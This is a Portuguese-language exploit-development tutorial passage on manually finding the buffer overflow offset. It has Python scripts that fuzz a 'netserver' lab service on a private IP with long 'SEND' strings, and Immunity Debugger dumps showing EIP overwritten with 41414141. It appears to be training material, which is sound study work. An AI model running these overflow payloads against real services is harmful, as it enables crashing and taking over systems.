

Encontrando o Offset Manualmente

→ Embora haja programas que encontrem o offset automaticamente, o objetivo aqui é entendermos a lógica da busca por ele

```
#!/usr/bin/python
import socket

dados = "A"*1100 + "B"*600 + "C"*500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.15.0.97", 5800))
s.recv(1024)
cmd = "SEND "+dados+"\r\n"
s.send(cmd.encode())
```

→ Vamos acionar o Immunity Debugger da seguinte maneira:

File → Attach → netserver → attach → 

→ Queremos sobrescrever toda a EIP, então vamos mudar a qtd de caracteres enviados até vermos ela toda preenchida

```
#!/usr/bin/python
import socket

lista=["A"]
contador=2010

while len(lista) <= 250:
    lista.append("A"*contador)
    contador = contador + 1

for dados in lista:
    print(f"Fuzzing com SEND {len(dados)} bytes")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("172.15.0.97", 5800))
    s.recv(1024)
    cmd = "SEND "+dados+"\r\n"
    s.send(cmd.encode())
```

Registers <FPU>					
EAX	00F7F238	ASCII	"SEND AAAAAAA		
ECX	00D770CC				
EDX	0000000A				
EBX	0000010C				
ESP	00F7FA18				
EBP	41414141				
ESI	004018F0	netserve.	004018F0		
EDI	004018F0	netserve.	004018F0		
EIP	0D414141				
C 0	ES	002B	32bit	0<FFFFFFFF>	
✓ P 1	CS	0023	32bit	0<FFFFFFFF>	
A 0	SS	002B	32bit	0<FFFFFFFF>	

→ Aqui faltou um caractere pra completar a EIP

```
#!/usr/bin/python
import socket

lista=["A"]
contador=2011

while len(lista) <= 250:
    lista.append("A"*contador)
    contador = contador + 1

for dados in lista:
    print(f"Fuzzing com SEND {len(dados)} bytes")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("172.15.0.97", 5800))
    s.recv(1024)
    cmd = "SEND "+dados+"\r\n"
    s.send(cmd.encode())
```

```
Registers (FPU)
EAX 010BF238 ASCII "SEND AAAAAAAAAAAAAA
ECX 007670CC
EDX 00000A0D
EBX 0000011C
ESP 010BFA18 ASCII "J"
EBP 41414141
ESI 004018F0 netserve.004018F0
EDI 004018F0 netserve.004018F0
EIP 41414141
C 0 ES 002B 32bit 0<FFFFFFFF>
P 1 CS 0023 32bit 0<FFFFFFFF>
A 0 SS 002B 32bit 0<FFFFFFFF>
```

→ Aqui a EIP foi totalmente preenchida